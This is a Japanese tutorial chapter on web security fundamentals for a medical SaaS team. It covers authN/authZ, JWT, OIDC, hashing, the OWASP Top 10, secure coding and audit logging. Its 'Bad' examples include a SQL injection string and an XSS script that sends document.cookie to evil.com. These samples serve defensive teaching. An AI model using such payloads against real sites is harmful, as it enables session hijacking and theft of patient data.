CS/SE Fundamentals

セキュリティの基礎 (Security Fundamentals)

はじめに

セキュリティは医療 SaaS において最も重要な品質特性の一つだ。患者の個人情報や診療データを扱う以上、セキュリティの基本を理解し、日常的に意識することはすべてのエンジニアの責任である。

この章では、Web アプリケーションセキュリティの基礎を、医療データの文脈で解説する。


認証 (Authentication) vs 認可 (Authorization)

よく混同される2つの概念だが、明確に区別する必要がある。

概念英語質問
認証Authentication (AuthN)「あなたは誰か?」ログイン、身分証の提示
認可Authorization (AuthZ)「何ができるか?」権限チェック、アクセス制御
認証 (AuthN):
  ユーザー → "ID: tanaka, Password: ****" → システム: "田中さんですね"

認可 (AuthZ):
  田中さん → "患者Aのカルテを見たい" → システム: "田中さんは担当医なので閲覧OK"
  田中さん → "システム設定を変更したい" → システム: "管理者権限がないので拒否"

認証の方式

セッションベース認証:

  1. ユーザーがログイン → サーバーがセッション ID を生成
  2. セッション ID を Cookie に保存
  3. 以降のリクエストで Cookie を自動送信
  4. サーバーがセッション ID からユーザーを特定

トークンベース認証 (JWT):

  1. ユーザーがログイン → サーバーが JWT を発行
  2. クライアントがトークンを保存
  3. 以降のリクエストで Authorization: Bearer <token> ヘッダーを付与
  4. サーバーがトークンを検証
JWT の構造:
Header.Payload.Signature

{
  "sub": "user-123",        // Subject (ユーザーID)
  "role": "doctor",         // カスタムクレーム
  "exp": 1709715600,        // 有効期限
  "iat": 1709712000         // 発行時刻
}

JWT の注意点:

  • トークンに機密情報を入れない (Base64 でデコード可能)
  • 有効期限を短く設定し、リフレッシュトークンで更新する
  • サーバーサイドでの無効化が難しい (ブラックリスト方式が必要)

OAuth 2.0 / OIDC

OAuth 2.0: 認可のためのフレームワーク。「第三者にリソースへのアクセスを許可する」仕組み。

OpenID Connect (OIDC): OAuth 2.0 の上に構築された認証レイヤー。「この人が誰であるか」を確認できる。

OIDC の認証フロー (Authorization Code Flow):

ユーザー → アプリ: "ログインしたい"
アプリ → IdP (認証プロバイダ): "認証してください"
IdP → ユーザー: "ログイン画面を表示"
ユーザー → IdP: "ID/Password を入力"
IdP → アプリ: "認可コードを返す"
アプリ → IdP: "認可コード + Client Secret でトークンを要求"
IdP → アプリ: "ID Token + Access Token を返す"

医療 SaaS での考慮:

  • SSO (Single Sign-On) の実装: 医療機関の既存の認証基盤との連携
  • MFA (Multi-Factor Authentication): 患者データへのアクセスには MFA を推奨

暗号化 (Encryption)

対称鍵暗号 (Symmetric Encryption)

暗号化と復号に同じ鍵を使う。

  • AES (Advanced Encryption Standard): 業界標準。AES-256 が推奨
  • 用途: データの保存時の暗号化 (encryption at rest)
平文 + 鍵 → [暗号化] → 暗号文
暗号文 + 鍵 → [復号] → 平文

非対称鍵暗号 (Asymmetric Encryption)

公開鍵で暗号化し、秘密鍵で復号する。

  • RSA, ECDSA: 代表的なアルゴリズム
  • 用途: TLS、デジタル署名、鍵交換
送信者: 平文 + 受信者の公開鍵 → [暗号化] → 暗号文
受信者: 暗号文 + 自分の秘密鍵 → [復号] → 平文

ハッシュ (Hashing)

一方向の変換。元のデータに戻すことはできない。

  • SHA-256: データの完全性検証
  • bcrypt / argon2: パスワードのハッシュ化 (ソルト + ストレッチング)
// パスワードのハッシュ化 (bcrypt)
import bcrypt from 'bcrypt';

const hash = await bcrypt.hash(password, 12); // 12 = cost factor
const isValid = await bcrypt.compare(inputPassword, storedHash);

絶対にやってはいけないこと:

  • パスワードを平文で保存する
  • MD5 や SHA-1 でパスワードをハッシュする (脆弱)
  • 独自の暗号アルゴリズムを作る

OWASP Top 10

Web アプリケーションの最も重大なセキュリティリスク。

1. インジェクション (Injection)

悪意のあるデータがコマンドやクエリの一部として解釈される。

SQL Injection:

-- Bad: ユーザー入力を直接連結
SELECT * FROM patients WHERE name = '' OR '1'='1'; --'

-- Good: パラメータ化クエリ (Prepared Statement)
SELECT * FROM patients WHERE name = $1;
// ORM を使っていれば基本的に安全
const patient = await prisma.patient.findMany({
  where: { name: userInput }, // 自動的にエスケープされる
});

2. 認証の不備 (Broken Authentication)

  • セッショントークンの漏洩
  • 弱いパスワードポリシー
  • ブルートフォース攻撃への未対策

対策: レート制限、MFA、セッションの適切な管理。

3. 機密データの露出 (Sensitive Data Exposure)

  • 通信の暗号化 (HTTPS) の未実施
  • データベースの暗号化の未実施
  • ログへの機密情報の出力

医療 SaaS では特に重要: 患者名、診療情報、保険情報は最高レベルの保護が必要。

4. XSS (Cross-Site Scripting)

悪意のあるスクリプトがユーザーのブラウザで実行される。

<!-- Bad: ユーザー入力をそのまま表示 -->
<div>こんにちは、<script>document.location='https://evil.com/?cookie='+document.cookie</script>さん</div>

<!-- Good: エスケープ処理 -->
<div>こんにちは、{escapedUserName}さん</div>

対策:

  • テンプレートエンジンの自動エスケープ機能を使う (React は JSX でデフォルトエスケープ)
  • Content Security Policy (CSP) ヘッダーを設定
  • HttpOnly Cookie でスクリプトからのアクセスを防ぐ

5. CSRF (Cross-Site Request Forgery)

ユーザーが意図しないリクエストを、認証済みのセッションで送信させる。

1. ユーザーが raica にログイン中
2. 攻撃者のサイトを閲覧
3. 攻撃者のサイトに仕込まれたフォームが raica に自動送信
4. ユーザーのセッションで意図しない操作が実行される

対策:

  • CSRF トークンの使用
  • SameSite=Strict (または Lax) Cookie 属性
  • 重要な操作には再認証を要求

その他の主要リスク

リスク対策
セキュリティの設定ミスデフォルト設定の変更、不要な機能の無効化
安全でないデシリアライゼーション入力の検証、型の厳密なチェック
既知の脆弱性を持つコンポーネント依存パッケージの定期的な更新、npm audit
不十分なロギングと監視セキュリティイベントのログ記録と監視

セキュアコーディングの実践

入力の検証 (Input Validation)

// バリデーションライブラリを使う (例: zod)
import { z } from 'zod';

const PatientSchema = z.object({
  name: z.string().min(1).max(100),
  email: z.string().email(),
  birthDate: z.string().date(),
  phoneNumber: z.string().regex(/^0\d{1,4}-\d{1,4}-\d{4}$/),
});

// リクエストの検証
const result = PatientSchema.safeParse(req.body);
if (!result.success) {
  return res.status(400).json({ errors: result.error.issues });
}

最小権限の原則 (Principle of Least Privilege)

  • DB ユーザーには必要最小限の権限のみ付与
  • IAM ロールは最小限のポリシーで構成
  • API のスコープを適切に制限

シークレット管理

  • 環境変数やシークレット管理サービス (AWS Secrets Manager) を使用
  • .env ファイルは .gitignore に追加
  • ハードコードされたシークレットを排除
// Bad
const API_KEY = "sk-1234567890abcdef";

// Good
const API_KEY = process.env.API_KEY;

セキュリティヘッダー

// 主要なセキュリティヘッダー
{
  "Strict-Transport-Security": "max-age=31536000; includeSubDomains",
  "X-Content-Type-Options": "nosniff",
  "X-Frame-Options": "DENY",
  "Content-Security-Policy": "default-src 'self'",
  "Referrer-Policy": "strict-origin-when-cross-origin"
}

医療データのセキュリティ

データの分類

分類保護レベル
極秘診療記録、検査結果暗号化 + アクセスログ + 最小限のアクセス
機密患者の連絡先、保険情報暗号化 + アクセス制御
内部システム設定、業務データアクセス制御
公開ヘルプページ、利用規約なし

監査ログ (Audit Trail)

医療データへのアクセスは、すべて記録する必要がある。

// 監査ログの記録項目
interface AuditLog {
  timestamp: Date;
  userId: string;
  action: 'read' | 'create' | 'update' | 'delete';
  resourceType: 'patient' | 'appointment' | 'medical_record';
  resourceId: string;
  ipAddress: string;
  details?: Record<string, unknown>;
}

アクセス制御のパターン

RBAC (Role-Based Access Control): 役割に基づくアクセス制御

ロール: 医師 → 権限: 患者データの閲覧・編集
ロール: 受付 → 権限: 予約データの閲覧・編集、患者データの閲覧
ロール: 管理者 → 権限: すべてのデータの閲覧・編集 + システム設定

ABAC (Attribute-Based Access Control): 属性に基づくアクセス制御。より柔軟。

条件: ユーザーの所属クリニック == 患者の登録クリニック
  AND ユーザーのロール IN (医師, 看護師)
  AND 現在時刻 IN 診療時間
→ アクセス許可

Agent-first 開発においてこれが重要な理由

セキュリティは、AI コーディングエージェントが最も見落としやすい領域の一つだ。

  • セキュリティ要件を明示できる: 「入力は必ず zod でバリデーションして」「SQL は Prepared Statement で」と具体的に指示できる
  • 脆弱なコードを検出できる: エージェントが生成したコードに XSS や SQL Injection の脆弱性がないかレビューできる
  • 医療データの取り扱いルールを伝えられる: 「このデータは監査ログが必要」「暗号化して保存すべき」といった要件を漏れなく伝えられる
  • 認証・認可の設計を指示できる: 「RBAC で設計して」「このエンドポイントは管理者のみアクセス可能に」と明確に指示できる

エージェントは「動くコード」を書くことに最適化されているが、セキュリティは「動かないようにする」ことも含む。この視点は人間が持つべきだ。


Further Reading